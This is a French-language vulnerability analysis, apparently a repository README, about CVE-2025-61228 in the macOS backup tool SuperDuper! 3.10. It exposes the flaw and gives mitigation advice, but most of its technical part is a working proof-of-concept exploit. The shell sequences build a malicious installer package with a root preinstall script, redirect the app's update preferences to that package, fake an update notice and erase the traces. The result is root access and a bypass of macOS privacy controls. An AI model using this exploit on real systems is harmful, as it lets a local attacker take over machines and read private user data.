graypixel2121/cve-2025-61228
Ce problème semble être plus grave que ne le laisse entendre le développeur, et je ne veux pas que cette partie soit noyée dans les détails. Le développeur a indiqué sur son blog :
Cette situation ne peut se produire que si un programme s’exécutant sur votre système cherche SuperDuper pour effectuer une mise à jour, qu’une vraie mise à jour est présentée par des moyens légitimes et que vous cliquez sur Upgrade.
Ce n’est pas réellement vrai : exploiter cette vulnérabilité n’exige pas qu’une vraie mise à jour soit présentée par des moyens légitimes. N’acceptez jamais, au grand jamais, une mise à jour fournie par SuperDuper 3.10 et versions antérieures ! Je l’explique plus en détail ci-dessous.
Il est également important de comprendre que cette vulnérabilité ne se limite pas à une élévation de privilèges ; elle implique aussi un contournement des contrôles de confidentialité. Ce détail semble avoir été omis du billet de blog du développeur.
Extrait du blog du développeur :
Notre mécanisme de mise à jour automatique peut être détourné et être amené à installer un paquet qui n’est pas SuperDuper.
Même si nous avons signé et notarié notre paquet d’installation, Gatekeeper ne vérifie pas cette notarisation lorsqu’il est installé par l’installeur de paquets de macOS. Ainsi, le téléchargement pourrait être modifié et nous installerions ce paquet à la place. Comme l’installation est effectuée avec des privilèges élevés, cela pourrait permettre à un programme malveillant d’un tiers, que vous devriez également installer, d’obtenir un accès administrateur à votre système.
Extrait de la CVE :
Un problème dans Shirt Pocket SuperDuper! V.3.10 et versions antérieures permet à un attaquant local d’exécuter du code arbitraire via le mécanisme de mise à jour logicielle.
L’auteur de cet article n’est pas le découvreur de la vulnérabilité, identifié par le développeur de SuperDuper comme « chercheur en sécurité anonyme ». Je ne revendique aucun crédit pour la découverte de cette vulnérabilité ; je me suis simplement intéressé à son analyse technique.
CVSS 3.1 Score: 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Pour éviter cette vulnérabilité, supprimez l’application SuperDuper! ou appliquez la mise à jour 3.11.
Avertissement : vous devez télécharger la mise à jour directement depuis le site web du développeur pour éviter cette vulnérabilité.
Cette analyse d’exploitation et cette preuve de concept sont fournies à des fins éducatives uniquement. Utilisez-les à vos propres risques.
Plutôt que d’utiliser une solution de mise à jour logicielle open source testée par des centaines de développeurs et de professionnels de la sécurité, les développeurs de SuperDuper ont créé leur propre mécanisme de mise à jour logicielle reposant sur des scripts shell non sécurisés qui s’exécutent avec les privilèges root et disposent d’un accès complet au disque. En n’authentifiant pas le logiciel installé au cours de la mise à jour, SuperDuper est amené à installer le logiciel d’un attaquant. Le correctif du développeur ne traite que l’aspect de l’authentification de cette vulnérabilité ; il ne traite pas les vulnérabilités inhérentes à l’utilisation de scripts shell pour faciliter le processus de mise à jour.
Le commentaire du développeur selon lequel « Gatekeeper ne vérifie pas cette notarisation » est trompeur. Gatekeeper entre en jeu lorsque vous tentez d’ouvrir un élément téléchargé dans un navigateur, mais ce n’est pas applicable au mécanisme interne de mise à jour logicielle d’une application. C’est à 100 % la responsabilité du développeur de valider tout ce que son logiciel télécharge et installe sur votre ordinateur – ne vous laissez pas faire croire par ce développeur qu’il s’agit d’une défaillance de Gatekeeper. Au cœur de l’exploitation, un attaquant peut duper SuperDuper pour qu’il installe un paquet alternatif, et cela se produit avec des privilèges élevés. Il s’exécuterait probablement aussi avec un accès complet au disque, car SuperDuper nécessite un accès complet au disque pour faire quoi que ce soit.
Le blog du développeur indique également :
Cette situation ne peut se produire que si un programme s’exécutant sur votre système cherche SuperDuper pour effectuer une mise à jour, qu’une vraie mise à jour est présentée par des moyens légitimes et que vous cliquez sur Upgrade.
Avec ce commentaire, j’ai supposé qu’il ne serait probablement pas possible de reproduire cette exploitation, car elle devrait impliquer des modifications côté serveur du mécanisme de mise à jour, qui auraient été effectuées en même temps que la publication du correctif 3.11. En d’autres termes, pour empêcher les versions plus anciennes du logiciel d’être affectées par cette vulnérabilité, ils ont sûrement désactivé le mécanisme de mise à jour, n’est-ce pas ? Eh bien... J’ai téléchargé une version plus ancienne de SuperDuper, et lorsque je l’ai ouverte, j’ai immédiatement été accueilli par une notification de mise à jour† – à un clic d’une exploitation potentielle. J’ai trouvé cela très intriguant : comment quiconque utilisant une version plus ancienne de l’application sera-t-il protégé de cette vulnérabilité si le mécanisme de mise à jour automatique n’est pas désactivé ? (cela est lié à l’« alerte » que j’ai mentionnée au début de cet article ; je reviendrai sur cette question à la fin).
† En quelque sorte... Le résultat était en réalité très bizarre. Il n’y avait aucune description de la mise à jour ni avis de sécurité, la fenêtre était simplement vide avec un bouton Skip et un bouton Update. Ainsi, non seulement les utilisateurs plus anciens ne sont pas protégés contre l’exploitation par la désactivation du mécanisme de mise à jour, mais ils ne sont pas non plus informés du problème via ce mécanisme.
J’ai poursuivi. Lorsque vous appliquez la mise à niveau, les mécanismes internes sont consignés dans le journal de SuperDuper, ce qui est pratique ; nous allons donc commencer par là pour voir comment cela fonctionne :
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
De nombreuses applications Mac qui ne passent pas par le Mac App Store utilisent le framework open source Sparkle pour gérer (de manière sécurisée) les mises à jour logicielles. Pas SuperDuper. On voit ici qu’ils ont créé le leur, et c’est un excellent exemple de pourquoi c’est souvent un mauvais choix. Les mécanismes de mise à jour logicielle sont des cibles de choix pour les exploits, ils nécessitent donc beaucoup de temps et d’expertise pour rester sécurisés. « UpgradeTranscript.plist » fait référence à un fichier situé dans l’application SuperDuper qui énumère une série de commandes Terminal que SuperDuper utilise pour télécharger et appliquer la mise à jour :
cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;
/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&1 2>&1;
if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi
/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi
Je vois au moins quatre problèmes avec ces commandes et cette procédure :
Les installeurs de paquets peuvent exécuter des scripts shell, je vais donc supposer que c’est le vecteur d’attaque privilégié pour le paquet alternatif. Commençons par créer un paquet qui exécute un script preinstall, puis voyons comment l’intercaler dans le mécanisme de mise à jour.
# Use of the "/tmp/superduper_install" installation folder offers convenient cleanup by SuperDuper
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# create the script. /Library is only writable by root, so we will attempt to create a test file there.
# Getting the content of the Desktop folder requires a user-granted privacy privilege, so we will also attempt
# to pull that folder list into a text file on the desktop to see if we have full disk access. Note that to
# effectively test this part of the exploit, you should revoke Full Disk Access from Terminal.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# build the package
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# put the package in a tar archive
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
Petite parenthèse pour voir quel type d’accès cet exploit donne à l’attaquant – si vous exécutez le script shell manuellement (en supposant que le Terminal n’a pas d’accès complet au disque ni d’accès à « Fichiers et dossiers »), vous obtiendrez deux erreurs :
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
Un attaquant peut faire beaucoup de dégâts avec un accès root, mais avec un accès à la confidentialité en plus, il peut accéder à un éventail plus large de contenus dans votre dossier personnel (le Bureau peut sembler anodin, mais beaucoup de données privées sont stockées dans le dossier Library masqué). Cet exploit lui donne les deux.
OK, la création du paquet était la partie facile. Comment s’introduire dans le mécanisme de mise à jour ? Exploiter la condition de concurrence était un candidat évident, mais je me suis demandé s’il était possible d’intervenir à cette étape de la procédure :
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
Les variables d’hôte et d’URL de téléchargement viennent manifestement de l’extérieur du script. Peuvent-elles être manipulées ? Les applications qui utilisent le mécanisme de mise à jour logicielle Sparkle stockent souvent une URL de « vérification de mise à jour » dans CFPreferences ; je me suis donc demandé si SuperDuper faisait de même. Effectivement, mais en pire – au lieu de ne stocker qu’une URL de vérification des mises à jour, SuperDuper place l’URL de téléchargement réelle dans CFPreferences :
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
J’ai tenté de remplacer l’URL par une URL du système de fichiers local :
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
J’ai rouvert SuperDuper et cliqué sur Update, mais la mise à jour a installé celle du développeur, pas mon paquet alternatif. Bien sûr – lorsque SuperDuper a revu la mise à jour au lancement, il a réécrit la valeur des préférences par défaut. J’ai réessayé en définissant la valeur après que SuperDuper a présenté la mise à jour ; cette fois, cela a fonctionné ! Enfin, l’installation de la mise à jour a réellement échoué, mais l’attaque a fonctionné : le fichier /Library/test a bien été créé.
J’ai supprimé le fichier de test et répété le test pour vérifier que cela fonctionnait vraiment. J’ai également confirmé que le fichier private_data sur le Bureau contenait maintenant la liste des fichiers du Bureau – le script s’était exécuté avec un accès complet au disque.
J’aurais pu m’arrêter là, mais le journal d’erreurs montrait que l’installation avait échoué parce que SuperDuper était introuvable :
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
En revisitant la logique des scripts shell de UpgradeTranscript.plist, je me suis rendu compte que l’installeur pourrait en réalité réussir si je copiais simplement l’application SuperDuper dans le paquet alternatif (ditto affiche cette erreur parce que /tmp/superduper_install/SuperDuper!.app n’existe pas). Cela s’est avéré plus difficile que prévu ; SuperDuper plantait systématiquement pendant l’installation. Il était bien plus facile de faire en sorte que le script preinstall copie l’application à l’emplacement attendu au moment de l’exécution :
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
[Open SuperDuper for the update presentation]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Maintenant, SuperDuper a installé le faux paquet, et l’installation semblait avoir réussi. SuperDuper s’est relancé et a présenté à nouveau la mise à jour, ce qui est attendu puisqu’il vient de réinstaller la copie de l’ancienne version que nous avons placée dans le dossier tmp. L’absence de message d’erreur suffit probablement à tromper l’utilisateur moyen en lui faisant croire que rien ne va vraiment, et il cliquera simplement à nouveau sur le bouton Upgrade, installant cette fois le vrai paquet depuis le site du développeur. Pendant ce temps, l’exploit a déjà été activé et l’utilisateur hausse les épaules : « Eh bien, c’était un peu bizarre, mais ça marche maintenant. »
Il reste ici un problème logistique qui rendrait cette attaque difficile à réaliser : l’attaquant devrait exécuter cette commande « defaults » après que la mise à jour a été présentée à l’utilisateur et avant que l’utilisateur ne clique sur le bouton Upgrade. C’est certes faisable : vous pourriez exécuter cette commande « defaults write » en boucle infinie en arrière-plan, mais cela attirerait l’attention. Au début, j’ai pensé que je pourrais verrouiller le fichier de préférences pour contourner ce problème :
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[wait for SD update presentation, then the user can go ahead and apply it without any extra steps]
Mais cela n’a pas fonctionné. En réfléchissant au fonctionnement des préférences, c’était logique. Les applications n’ouvrent pas ces fichiers et ne lisent pas les valeurs à chaque fois qu’elles doivent récupérer un réglage ; elles demandent plutôt la valeur à l’interface « CFPreferences ». Si SuperDuper modifie la valeur de UMdownloadURL, CFPreferences conservera la modification en mémoire, même si le fichier physique n’est pas altéré. Lorsque SuperDuper demande ensuite la valeur de ce réglage, CFPreferences l’obtient depuis le cache (et le cache est mis à jour si des modifications sont apportées aux fichiers physiques).
À ce stade, quelque chose me taraudait vraiment : pourquoi le développeur prendrait-il la peine d’écrire l’URL de téléchargement dans CFPreferences ? Vous n’écrivez ces valeurs dans CFPreferences que si vous prévoyez aussi de les lire depuis CFPreferences, n’est-ce pas ? Mais pourquoi ne pas simplement stocker la valeur dans une variable en mémoire quelque part ? L’utilisation de CFPreferences de cette manière pose deux problèmes énormes que tout développeur Mac expérimenté devrait connaître :
Pour tester ma théorie, j’ai écrit la préférence dans le domaine « currentHost », qui supplante le domaine de l’application :
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Puis j’ai relancé SuperDuper et cliqué sur Upgrade – le paquet alternatif a été installé. Incroyable. Cela rend l’exploit tellement plus facile à réaliser : un attaquant pourrait simplement poser ce réglage de préférence et attendre indéfiniment qu’une mise à jour soit publiée. Mais attendez : si SuperDuper récupère la valeur de l’URL de téléchargement depuis les préférences, pourrait-il aussi récupérer le numéro de version ? Un attaquant pourrait-il essentiellement provoquer une mise à jour et amener SuperDuper à la présenter, même si le développeur n’en a pas publié ? Étonnamment, oui ! En combinant tout cela, un attaquant pourrait exécuter ces commandes pour qu’une version plus ancienne (non corrigée) de SuperDuper! présente une fausse mise à jour, installe un paquet alternatif, tout en faisant supprimer par SuperDuper toutes les traces de l’attaque :
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'
Lorsque SuperDuper se recharge après l’installation du paquet alternatif, la mise à jour n’est plus présentée et l’utilisateur continue en croyant avoir installé la nouvelle version, sans se douter que l’exploit a été activé.
Pour revenir au début de cet article, je me demandais : « comment quiconque utilisant une version plus ancienne de l’application sera-t-il protégé de cette vulnérabilité si le mécanisme de mise à jour automatique n’est pas désactivé ? » Il s’avère que peu importe que le développeur désactive le mécanisme de mise à jour automatique – cette vulnérabilité peut être exploitée sans (ou en dépit de) toute modification côté serveur, et elle n’exige même pas que le développeur publie une « vraie » mise à jour. La seule atténuation est que les utilisateurs refusent toujours une mise à jour automatique jusqu’à ce qu’ils aient mis à jour manuellement vers une version corrigée du produit.